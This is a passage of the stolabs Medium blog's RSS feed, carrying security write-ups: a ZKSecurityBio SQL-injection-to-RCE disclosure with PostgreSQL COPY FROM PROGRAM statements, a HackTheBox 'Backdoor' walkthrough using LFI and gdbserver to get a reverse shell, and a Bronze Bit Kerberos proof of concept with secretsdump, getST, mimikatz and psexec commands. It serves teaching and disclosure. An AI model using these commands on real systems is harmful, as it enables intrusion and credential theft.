=)</p><blockquote><strong><em>References:</em></strong><br><em>&gt;CURL: </em><a href="https://curl.se/docs/manpage.html"><em>https://curl.se/docs/manpage.html</em></a></blockquote><blockquote><em>&gt;PortSwigger Research: </em><a href="https://portswigger.net/research/server-side-template-injection"><em>https://portswigger.net/research/server-side-template-injection</em></a></blockquote><blockquote><em>&gt;tplmap: </em><a href="https://github.com/epinna/tplmap"><em>https://github.com/epinna/tplmap</em></a></blockquote><blockquote><em>&gt;PayloadsAllTheThings(SSTI): </em><a href="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection"><em>https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection</em></a></blockquote><blockquote><em>&gt;Payloadbox(SSTI): </em><a href="https://github.com/payloadbox/ssti-payloads"><em>https://github.com/payloadbox/ssti-payloads</em></a></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=286923651032" width="1" height="1" alt=""><hr><p><a href="https://medium.com/stolabs/ssti-vulnerability-server-side-template-injection-execution-and-exploration-286923651032">SSTI Vulnerability — Server-Side Template Injection Execution AND Exploration</a> was originally published in <a href="https://medium.com/stolabs">stolabs</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CVE-2022–36635 — A SQL Injection in ZKSecurityBio to RCE]]></title>
            <link>https://medium.com/stolabs/cve-2022-36635-a-sql-injection-in-zksecuritybio-to-rce-c5bde2962d47?source=rss----11cfd3349922---4</link>
            <guid isPermaLink="false">https://medium.com/p/c5bde2962d47</guid>
            <dc:creator><![CDATA[Silton Santos]]></dc:creator>
            <pubDate>Thu, 06 Oct 2022 13:39:11 GMT</pubDate>
            <atom:updated>2022-10-14T11:44:23.187Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>CVE-2022–36635 — A SQL Injection in ZKSecurityBio to RCE</strong></h3><p><strong>Researched and written by: Caio Burgardt and Silton Santos</strong></p><p><em>This is a write-up of CVE-2022–36635: SQLInjection found in a platform of physical security (access control, elevator control, guest management, patrol and parking management) called ZKSecurity Bio v4.1.3 and how it was used to obtain a RCE.</em></p><h3><strong>How it all began…</strong></h3><p>It was a Thursday, on a beautiful sunny morning, when another subdomain showed up during the recon phase of a Red Team Exercise. After we scanned it and discovered an odd web application server, the fun had started.</p><p>After some password attacks and the discovery of a privilege escalation vulnerability (CVE-2022–36634). We gave a quick tour through the application. We figured we already could open doors, after all it is an physical access control application, but we wanted something with more substance for our objective. After throwing around some single quotes in requests parameters of different functionalities, we found a possible SQL Injection.</p><p>For you who are beginning in cyber security, I think it is important to know the basics SQL Injection vulnerability type and because we said: <em>“After some single quotes in requests parameters”. </em>Thus we explain about this:</p><h3><strong>SQL Injection, what is it?</strong></h3><p>In a nutshell, SQL Injection (SQLi) is a vulnerability that allows an attacker to manipulate the application’s SQL query arbitrarily through input data. The attacker may then retrieve information, control the database, and other shenanigans using many different techniques of exploitation.</p><p>For instance, consider a simple user and password query:</p><blockquote>SELECT id,name,key FROM users WHERE username = ‘{USER_INPUT}’ AND password = {HASH_OF_PASSWORD}</blockquote><p>Provided there are no checks on the USER_INPUT, one could send the value of the username <strong>admin’ — . </strong>This would bypass password check, because you will close the username value and comment the rest of query. So, usually to test SQLi, pentesters throw quotes around to try and trigger errors in the original query.</p><h3><strong>Going back to what I was saying…</strong></h3><p>In the <strong>Operation Log </strong>functionality, inside the<strong> System </strong>menu, when inserted the single quote in the <strong>Time</strong> field, the application returns data indicating that something went wrong with our request. When inserted two single quotes, the application returns other JSON data, indicating that the request was accepted. Common SQL injection behaviour. We can see the requests and responses in the next pictures:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/0*X4C1Y-gh8sjmUVlM" /><figcaption>Common SQL injection behaviour</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/0*RMiRGgr8PvvmCf8m" /><figcaption>Common SQL injection behaviour</figcaption></figure><p>However, we realized there was a filter preventing simple exploitation, because any attempt on exploiting it would shows us the error:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/796/0*rbRpySDGwf21eUg5" /><figcaption>Error</figcaption></figure><p>Well, this sucks, but we ask ourselves “is there a way to bypass this?”. <a href="http://phrack.org/issues/7/3.html">The Mentor</a> said: <em>Yes, I am a criminal. My crime is that of curiosity. </em>Trying bypasses on the target’s live machine is not smart, so we searched, downloaded and installed the trial version of the ZK BioSecurity program to try and find some clues in a controlled environment.</p><p>After installation, we found plenty of .jar files containing the application logic. But it didn’t seem too time-friendy in our red team exercise to reverse engineer and decompile them, so we went for a quicker path. To put it simply, we used the logs of the application to help us writing the exploit.</p><p>With the log, it became possible to craft a good payload for the query, by finishing the first query manually and to using the stacked query technique to inject arbitrary content together. The next image shows a sample of the log:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/933/0*zG-n11SCa5LxwBQi" /><figcaption>holy log</figcaption></figure><p>As mentioned earlier the log helped us view the full query, but we still needed to bypass the sanitization filter. To that end, we simply used an old trick of replacing spaces with comments (/**/) in the SQL payload, this was enough to bypass the filter. The image below shows the injection of a sleep call of 5 seconds:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/943/0*d4rs0uQLZV9Ynl_Q" /><figcaption>injection of a sleep call of 5 seconds</figcaption></figure><p>During the analysis of the application in our environment, we noticed that the application installs its own postgres instance, that is, in this version of ZKSecurity, everyone uses the same database version, using the same user, in this case: root.</p><p>We confirmed that the PostgreSQL version was vulnerable to the good old ‘COPY FROM PROGRAM’ RCE trick, shown in the following SQL commands.</p><blockquote>DROP TABLE IF EXISTS AAAAAA;</blockquote><blockquote>CREATE TABLE AAAAAA(filenam e text);</blockquote><blockquote>COPY AAAAAA FROM PROGRAM ‘command’;</blockquote><blockquote>SELECT * FROM AAAAAA ORDER BY filename ASC;</blockquote><p>Finally, to test the RCE, we use the trick above to execute a ping command to trigger a DNS lookup. The result is shows the command was executed remotely, as shown in the next figures :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/942/0*lJwPzbVEkrJJCKDW" /><figcaption>call of ping</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/780/0*ir9XBYhAxZpM49rf" /><figcaption>request DNS, result of ping</figcaption></figure><h3>Time line</h3><ul><li>Responsible disclosure to vendor — 16/07/2022</li><li>Reserved the CVE — 18/07/2022</li><li>Vendor’s response, saying he would check — 18/07/2022</li><li>Vendor’s response, informing public fixing —24/08/2022</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c5bde2962d47" width="1" height="1" alt=""><hr><p><a href="https://medium.com/stolabs/cve-2022-36635-a-sql-injection-in-zksecuritybio-to-rce-c5bde2962d47">CVE-2022–36635 — A SQL Injection in ZKSecurityBio to RCE</a> was originally published in <a href="https://medium.com/stolabs">stolabs</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB — Backdoor]]></title>
            <link>https://medium.com/stolabs/htb-backdoor-2045c51e1882?source=rss----11cfd3349922---4</link>
            <guid isPermaLink="false">https://medium.com/p/2045c51e1882</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[hackthebox]]></category>
            <dc:creator><![CDATA[Vinicius Scallop]]></dc:creator>
            <pubDate>Tue, 13 Sep 2022 18:56:15 GMT</pubDate>
            <atom:updated>2022-09-13T18:56:15.215Z</atom:updated>
            <content:encoded><![CDATA[<h3>HTB — Backdoor</h3><h4><em>wordpress | LFI | pid’s | gdbserver | misconfiguration | screen</em></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/695/0*kGwRXZbhbziTKsoi" /></figure><p>Backdoor is an easy hackthebox machine, the foothold involves findind a wordpress plugin that has a directory traversal vulnerability to read system files, with lfi you can read pid’s from /proc directory and find out that there is an unknown port running gdbserver, that we can exploit to get a reverse shell. For privilege escalation you could exploit a misconfiguration and be able to list and join in the root screen session.</p><h3>Enumeration</h3><h4>Nmap</h4><p>I will start by doing a full portscan with nmap to see which services and ports are open.</p><pre>sudo nmap -p- --min-rate 5000 -T5 -oN nmap.txt -sC -sV 10.10.11.125</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/992/0*cqXOJq4GjAQpYPX8" /></figure><p>After the nmap, 3 ports were found open, these being 22 (SSH), 80 (HTTP) and 1337 (not sure what kind of service it is). Analyzing the nmap output, we see that port 22 is an Ubuntu server, so this box is an linux machine, and on port 80 we have an apache on version 2.4.41, we also have a http-generator header telling us that it is a wordpress on version 5.8.1.</p><h4>Port 1337 — ??</h4><p>Nmap was not able to describe what kind of service runs on port 1337, but we can try connecting with netcat and get some clue what it is.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*6RQoaAFaqJICphhP" /></figure><p>I tried to connect and find out what was going on, but got no response back, so let’s move on.</p><h4>Port 80 — HTTP</h4><p>Port 80 is a standard wordpress template with some redirect links in the menu tab.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*tR6dTdeHN9hkUBde" /></figure><p>After hovering on the <strong>Home</strong> menu option, it shows us that the link redirects to backdoor.htb, which is a vhost, so i will add it to my hosts file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/604/0*sNXeIhQ2weJX8dy9" /></figure><p>On the blog tab there’s a “Hello World!” post by the admin user, which can be useful information later.</p><p>Whenever there is an application running wordpress, i have the habit of checking the /wp-content/plugins/ directory to see if there are any plugins being used, i also use wpscan, a tool that will do the enumeration in an automated way, searching for plugins, themes, users, etc.</p><p>Manually enumerating first, we can see that the application is using the ebook-download plugin.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/764/0*WXbOXrH2qXw42woc" /></figure><p>Running wpscan with the -e ap option, we indicate that we want to enumerate all plugins, as it is a ctf box we can run it with the — plugins-detection option in aggressive which will bruteforce the plugins.</p><pre>wpscan --url http://backdoor.htb/ -e ap --plugins-detection aggressive -t 100</pre><p>wpscan also has a nice feature using the — random-user-agent parameter that will use a random user-agent header for each request being made. This option is very useful, since by sending a considerable number of requests the application may have a block rule via the user-agent. In this case, there is no need to use this option since there’s no firewall or WAF on the box.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/771/0*_1a2l89BN7Z5pqiY" /></figure><h3>Shell as User</h3><h4>Exploit eBook-download plugin</h4><p>After wpscan finished running, it found 2 plugins being used, askimet and again ebook-download. Not only did it find the plugin, it also tells us that the plugin is in an outdated version and has directory listing. Since it is an outdated version, we can search for vulnerabilities in this plugin on google.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*OPRVowMn0bpK1tNJ" /></figure><p>The first result is an exploitdb directory traversal PoC in the /wp-content/plugins/ebook-download/filedownload.php endpoint. So i will test it and see if we can download wp-config.php file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/910/0*ndn6BveoBby_zkgA" /></figure><p>After downloading and reading the file, there are wordpress credentials, but when testing them in the application, it was not possible to log in with them, i also tried different usernames like administrator, admin, root, but no one with success.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/718/0*0LHOt0RIsXFf-uLT" /></figure><p>After trying to read different files from the machine like /etc/apache2/sites-enabled/000-default.conf to check for vhost, the /etc/passwd file which there is a user called user on the machine, but we cant read any files from his home.</p><h4>Reading the /proc pid’s command lines</h4><p>After some time trying to read files with the lfi, i realized that port 1337 can be a valuable information at this point. So i decided to start enumerating the /proc directory to see what processes are running on the machine and try to figure out what kind of service is running on this port.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/943/0*3XT1sLv0uFWtcbHb" /></figure><p>As you can see, i used my machine as an example to show what /proc looks like, each number represents a running process, which is known as pid or proccess id.</p><p>There is a file called cmdline that shows the command line according to the pid informed, in the example below i used the path /proc/self/cmdline, which in this case /proc/self represents the current process that im running in, if you need to see the command line of other processes, you must change the /proc/self directory to the desired pid directory. For example: /proc/1/cmdline.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*isUJubm8j36ojKce" /></figure><p>As we can see, the command line of the process that i’m running in is /usr/bin/apache2-kstart.</p><p>Since we don’t know how many pid’s may be running, i will start by making a oneline script to dump the command line of the pid’s from 0 to 1000, also i will format the output better so we can read only the desired output. In the end it will look something like this:</p><pre>for i in $(seq 0 1000); do curl &quot;http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/proc/$i/cmdline&quot; | cut -d &quot;/&quot; -f 10- | sed &#39;s/&lt;script&gt;.*//g&#39; &gt; $i; done</pre><p><em>Before you dump all the pid’s, i highly recommend creating a directory to store all the pid files, otherwise your workpspace might be a bit dirty</em></p><p>After a few minutes, we will have dumped the first 1001 pids, but reading them 1 by 1 would be unproductive, so i will make another oneline script to show the output of each pid based on its size. To do this we can use the command <strong>find</strong> by passing the parameter -size, which will filter by size in bytes, and then cat the variable $<strong>i,</strong> which will show each file that is larger than the bytes entered. In the end it will look something like this:</p><pre>for i in $(find . -type f -size +25c); do cat $i;done</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*u_eXH35tZzLip22y" /></figure><p>As we can see , it has only printed the pids with bytes greater than 25, taking a look, most of them are default services, however, there are 2 of these that are interesting at first glance, these being services running in a while loop.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*xl69Ofo5a6U_x_Z7" /></figure><p>The first one, does a command “su user”, which indicates that he is running the code with the user user, and passes the command “cd /home/user/” and then the command “gdbserver — once 0.0.0.0:1337 /bin/true” which will run gdbserver in loopback on port 1337, so now we already know what runs on port 1337.</p><p>The second command, does a 1 second sleep command, then use find in /var/run/screen/S-root/ with the parameteres -empty and -exec, -empty will check if the file is empty, and -exec will execute the screen binary with the parameters -dmS which will detach the root user session.</p><p>So now that we know what is running on port 1337, we can search for exploits for gdbserver.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*8fkh-XwRYoWWd-8-" /></figure><p>The first result found was this exploit-db written in python and that allows RCE, at the very beginning, it tells us that before running the exploit we need to generate the payload with msfvenom, then start netcat, and then we can run the exploit with the .bin we created.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/834/0*f2r2X2i6CT5DJ--W" /></figure><p>Instead os running this exploit, i will exploit this gdbserver manually, to show what the exploitation process looks like.</p><h4>Exploit gdbserver</h4><p>Searching how to exploit this gdbserver manually, i found a manual on hacktricks with a step by step guide.</p><p>Hacktricks guide:<a href="https://book.hacktricks.xyz/network-services-pentesting/pentesting-remote-gdbserver">https://book.hacktricks.xyz/network-services-pentesting/pentesting-remote-gdbserver</a>​</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/839/0*SH2eKL0SSGHs6PQh" /></figure><p>In this hacktricks step by step, after generating the elf backdoor with msfvenom, we have to give execute permissions to file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*c5S7FvywYnVqtuZC" /></figure><p>Next step is start debugging the file on our machine with the gdb.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*y37NJGycv0xXWabn" /></figure><p>Then connect to the machine’s gdbserver on port 1337 using the target extended-remote command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*wFNA75HvWbv3nF7q" /></figure><p>After connecting we can upload our generated backdoor in /tmp directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*djvwVQrIcRqEzlJN" /></figure><p>And finally set the remote debugging target to the file we uploaded and run.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*HDim5HKJu9CMSGHd" /></figure><p>Now if we check te netcat server, we got a reverse shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*4taUSdQSuSLuori6" /></figure><h3>Shell as root</h3><h4>Full TTY</h4><p>I will upgrade my shell to have things like auto complete, screen cleanup, use cli text editors, etc. If you want more information on how to upgrade your shell, i always provide this step by step from hacktricks:</p><p>​<a href="https://book.hacktricks.xyz/generic-methodologies-and-resources/shells/full-ttys#full-tty">https://book.hacktricks.xyz/generic-methodologies-and-resources/shells/full-ttys#full-tty</a>​</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*fDQXnJ8JTPT08p-M" /></figure><h4>Enumeration</h4><p>Running the ps -ef command to see what processes are running on the machine, we see the same processes running in loop, previously seen by the lfi.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*8HtsXN6DS_mo15pK" /></figure><h4>Screen</h4><p>Screen was developed by the GNU project team to help take advantage of linux terminal management, it allows you to split a terminal into several sessions, it is also very useful in cases of power failure, where even if your computer shuts down, it keeps the session active when you turn the computer back on, screen is very similar to the popular tmux.</p><h4>Screen privilege escalation</h4><p>The screen -ls command is used to list a user’s session.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*J1EMcTXFmNkFTs9u" /></figure><p>As seen in the processes, there is a root session running in loop, if we try to list the sessions of the root user, we can prove this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*FqndBqBt-xlzj0z7" /></figure><p>For some reason, when listing the user session, we need to specify the slash “/” at the end.</p><p>If we try to access this session with screen -r command, we can get into the session and have root access on the machine!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ofVNl6d3db-FKhNd" /></figure><p>This is because the -r command is for reattach, we could do this using the -x parameter as well.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*cz4CY7FwbHf7IwLW" /></figure><h4>Screen misconfiguration</h4><p>On this machine we can list and use sessions from another user, in this case root user, as it is running in the background by the command screen -dmS root.</p><p>This is due to a misconfiguration that i will show, we can read the screen configuration file and show you why it allows other users to access other sessions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Kmgk73YN6VY5EFZ7" /></figure><p>As we see in this cron file, it prints some commands to the .screenrc configuration file.</p><p>Other misconfigurations that we have detected here are chmod commands being made that give undue permissions to the /var/run/screen and /var/run/screen/S-root directories.</p><p>Finally, we can see in the configuration file, the bad settings, which allow more than one user to access that session by the <strong>multiuser on</strong> command and we can also see that the user user has permissions by the <strong>acladd</strong> command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*0QuIfhlESoovIDwW" /></figure><p>Is important to make it clear that by default screen doesn’t have this misconfiguration, so we conclude that it is something specific and done only on this machine, we can consider it as a ctf-like thing.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2045c51e1882" width="1" height="1" alt=""><hr><p><a href="https://medium.com/stolabs/htb-backdoor-2045c51e1882">HTB — Backdoor</a> was originally published in <a href="https://medium.com/stolabs">stolabs</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Bronze Bit Attack]]></title>
            <link>https://medium.com/stolabs/bronze-bit-attack-8c672faacd18?source=rss----11cfd3349922---4</link>
            <guid isPermaLink="false">https://medium.com/p/8c672faacd18</guid>
            <category><![CDATA[kerberos]]></category>
            <category><![CDATA[purple-team]]></category>
            <category><![CDATA[bronzebit]]></category>
            <dc:creator><![CDATA[Rodrigo Maia]]></dc:creator>
            <pubDate>Fri, 19 Aug 2022 12:17:34 GMT</pubDate>
            <atom:updated>2022-08-19T12:17:34.503Z</atom:updated>
            <content:encoded><![CDATA[<h3>Kerberos Fundamentals</h3><p>Kerberos is a network authentication protocol that works on the principle of issuing tickets, it allows identifying each user through authentication, but does not validate the privileges that each user has, so each service is responsible for determining whether the user has access or not to yours resources.<br>Kerberos is mostly used in Active Directory and sometimes in Linux.</p><h3>Terminology</h3><p>Some of the most common and necessary terms to understand how the Kerberos protocol works:</p><ul><li>KDC — Key Distribution Center: The KDC is a very important part of the Active Directory infrastructure as it is responsible for authenticating and distributing tickets. In Active Directory environments, the KDC is installed on the domain controller;</li><li>TGT — Ticket Granting Ticket: This is a basic user assigned ticket that each user uses to authenticate to the KDC and issue ticket requests to the TGS, also known as a service ticket;</li><li>TGS — Ticket Granting Service: An authentication subset of the KDC that issues a service ticket after verifying an end-user’s TGT;</li><li>SPN — Service Principal Name: Name of service that integrates with Kerberos protocol.</li></ul><h3>How it Works?</h3><p>During the user logon process, an AS-REQ request is sent with the user’s information requesting a TGT ticket to the KDC located on the domain controller; the KDC validates the credentials and returns an AS-REP response containing the TGT ticket. This machine-saved ticket is automatically renewed as long as the user is active.</p><p>If the user wants to access a service that implements authentication via Kerberos, the machine looks for the SPN of the desired service and sends it along with the TGT ticket in a TGS-REQ request to the KDC, requesting a TGS service ticket. The KDC proves the ticket TGT and generates a TGS service ticket encrypted with the service’s secret key, returning it in a TGS-REP response, the user uses the TGS service ticket to access the service, this inspects the ticket and decides if the user has authorization or not.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/849/0*wJG-55cG5eaA3gTe.png" /></figure><h3>Definition</h3><p>The “BronzeBit” attack takes advantage of the compromised host’s “Constrained Delegation” relationship to modify a service ticket and use it on the target, abusing delegation relationships and allowing access to the target service with the impersonated user’s account and privileges, even if the target user is protected from delegation and impersonations.</p><h3>Attack Path</h3><p>The path for executing the attack usually goes as follows:</p><ul><li>The attacker gains access to some AD member host.</li><li>The attacker gains access to the environment’s service hashes, using DCSync or Kerberoasting techniques.</li><li>The compromised service has a delegation relationship with another service in the environment.</li><li>The attacker uses the exploit to get a ticket directed to the target service.</li><li>The attacker impersonates a user by presenting this ticket to the service, managing to access the target with the impersonated user’s credentials and privileges.</li></ul><h3>Exploration Operation</h3><p>Assuming that we already have the hashes of our compromised host, and that host has the delegation relationships for the target host, let’s run the “getST.py” script, present in Impacket (https://github.com/SecureAuthCorp/impacket ).</p><p>This script performs S4U protocol operations that requests a service ticket as a specific user for a specific service. If the compromised host has the active delegation relationship, the following operations occur:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/870/0*8_Y7Lx_2aoPulVKM.png" /></figure><p>With the created ticket, the attacker can impersonate the user and interact with the target service. However, if the compromised host does not have delegations configured or the user is protected from delegations, the intermediate ticket obtained with the S4U protocol will not be forwardable, and the request to the S4U proxy will fail:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/993/0*9_FhlP3crr-DCdHv.png" /></figure><p>So, with the “BronzeBit” technique, we will use the “-force-forwardable” flag present in the “getST.py” script to change the “forwardable” flag bit from 0 to 1, allowing the ticket to be forwardable and the S4U proxy protocol can process and generate a ticket for the target service:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/921/0*c_itvTEYwJnJXW0E.png" /></figure><p>Once the restrictions are bypassed, the attacker can use the ticket to access the target service.</p><h3>Proof of Concept</h3><h3>Setting up the environment</h3><p>We have 3 servers in this scenario, using Windows Server 2019 (without the fix patches). The attack comes from a host has already been compromised, for this example, we are using the user “user1” and the host “service1”. Our target will be the user “user2”, which has local admin access on the host “service2”. And we will have an interaction with the DC to get the Kerberos tickets.</p><p>The “service1” needs to have the following configuration on the DC:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/465/0*batauEQaWY4AAaRj.png" /><figcaption>“service1” is configured with the relationship of “Constrained Delegation” to “service2”.</figcaption></figure><p>We need to configure “user2” on the DC and check the option “Account is sensitive and cannot be delegated” in its properties:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/410/0*xZGga8whVVudvSHg.png" /></figure><p>And let’s add it to the “Protected Users” group:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/413/0*AZuYjzMlnUPIv9lR.png" /></figure><h3>Running the attack</h3><h3>Step 1</h3><p>Inside the host “service1” (assuming that host was previously compromised by the attacker), let’s try to access the host “service2” using the authentication of the user “user1”:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*v80EZ9G2xCLFypSD.png" /><figcaption>User “user1” and host “service1” are not allowed to access services on host “service2”</figcaption></figure><p><strong>Used commands:</strong></p><p>Windows</p><pre>whoami<br>ls \\service2.purple.local\c$</pre><h3>Step 2</h3><p>Using a tool that dumps the system hashes, such as the Impacket script “secretsdump.py”, we will get the keys AES256-CTS-HMAC-SHA1–96 and the hash LM:NTLM for the host account “ service1”:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Kk0Ns3zzmhmeXshi.png" /><figcaption>secretsdump.py on Windows</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/851/0*t_X54-Pz6AmbTpNV.png" /><figcaption>secretsdump.py on Linux</figcaption></figure><p><strong>Used commands:</strong></p><p>Windows:</p><pre>python.exe .\secretsdump.py &#39;purple/user1:&quot;Mudar@123&quot;*@service1.purple.local&#39;</pre><p>Linux:</p><pre>python secretsdump.py purple/user1:Mudar\@\123*@service1.purple.local</pre><h3>Step 3</h3><p>After obtaining the hashes, we will use the Impacket script “getST.py”, which requests a ticket and saves it in “ccache” format:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*j-q0wyCNy-nSebmD.png" /><figcaption>getST.py on Windows</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/861/0*E_ZTaVTGG7yWy6f5.png" /><figcaption>getST.py on Linux</figcaption></figure><p>As shown in the image, the command fails as the user “user2” is protected by the “Protected Users” group and the service has delegation restrictions. As the ticket does not have the “forwardable” flag active, it does not allow forwarding and we were unable to run the attack.</p><p><strong>Used commands:</strong></p><p>Windows:</p><pre>python.exe .\getST.py -spn cifs/service2.purple.local -impersonate user2 -hashes hash -aesKey &lt;AES hash&gt; purple.local/service1</pre><p>Linux:</p><pre>python getST.py -spn cifs/service2.purple.local -impersonate user2 -hashes hash -aesKey &lt;AES hash&gt; purple.local/service1</pre><h3>Step 4</h3><p>After the information obtained by the previous step, we will use the same “getST.py” script, but now we will add the “-force-forwardable” flag to change the ticket allowing forwarding, and we will get the ticket to the target service:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*UlQcaftIe4ZPlfNr.png" /><figcaption>getST.py with the -force-forwardable flag — Windows</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/850/0*KAZkxZCfnAFZUG51.png" /><figcaption>getST.py with the -force-forwardable flag — Linux</figcaption></figure><p>After this process, its possible to bypass the restrictive settings of the user “user2”, which make it impossible to impersonate this user, and bypass the “Account is sensitive and cannot be delegated” setting.</p><p><strong>Used commands:</strong></p><p>Windows:</p><pre>python.exe .\getST.py -spn cifs/service2.purple.local -impersonate user2 -hashes hash -aesKey &lt;AES hash&gt; purple.local/service1 -force-forwardable</pre><p>Linux:</p><pre>python getST.py -spn cifs/service2.purple.local -impersonate user2 -hashes hash -aesKey &lt;AES hash&gt; purple.local/service1 -force-forwardable</pre><h3>Step 5</h3><p>Using “<a href="https://github.com/gentilkiwi/mimikatz/releases">mimikatz</a>”, we will inject the ticket generated by the previous step into the system:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/911/0*HvIBAPJUyfq4sodj.png" /><figcaption>Injecting the ticket in Windows</figcaption></figure><p>After injecting the ticket into the system, we can access host “service2” as if we were the user “user2”, and get all the privileges that “user2” has over host “service2”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/501/0*tIXK9JNvCBOoBpzy.png" /><figcaption>Running psexec on Windows</figcaption></figure><p>Using Linux, we must create the variable “KRB5CCNAME” and then use “psexec.py” or “wmiexec.py” scripts to access the target host:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/861/0*7KB2v1OIwfnMx096.png" /><figcaption>Loading the ticket in the KRB5CCNAME variable and running wmiexec — Linux</figcaption></figure><p><strong>Used commands:</strong></p><p>Windows:</p><pre>.\mimikatz.exe &quot;kerberos::ptc user2.ccache&quot; exit<br>\psexec.exe \\service2.purple.local\ cmd</pre><p>Note: It was necessary to use version 2.2 of “PsExec” on Windows to succeed in the attack. On Linux, the attack can be carried out with PsExec available in “Impacket”.</p><p>Linux:</p><pre>export KRB5CCNAME=user2.ccache<br>python wmiexec.py purple.local/user2@service.purple.local -k -no-pass <br>python psexec.py purple.local/user2@service.purple.local -k -no-pass</pre><h4>Mitigation</h4><p>To prevent this vulnerability, systems must apply the updates described at <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2020-17049">https://msrc.microsoft.com/update-guide/vulnerability/CVE-2020-17049</a>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8c672faacd18" width="1" height="1" alt=""><hr><p><a href="https://medium.com/stolabs/bronze-bit-attack-8c672faacd18">Bronze Bit Attack</a> was originally published in <a href="https://medium.com/stolabs">stolabs</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Análise de campanha de Engenharia Social utilizando RAT]]></title>
            <link>https://medium.com/stolabs/an%C3%A1lise-de-campanha-de-engenharia-social-utilizando-rat-2d0f93e35a6b?source=rss----11cfd3349922---4</link>
            <guid isPermaLink="false">https://medium.com/p/2d0f93e35a6b</guid>
            <category><![CDATA[engenharia-social]]></category>
            <category><![CDATA[soc]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[incident-response]]></category>
            <dc:creator><![CDATA[SoC]]></dc:creator>
            <pubDate>Wed, 03 Aug 2022 18:48:47 GMT</pubDate>
            <atom:updated>2022-08-03T18:48:47.813Z</atom:updated>
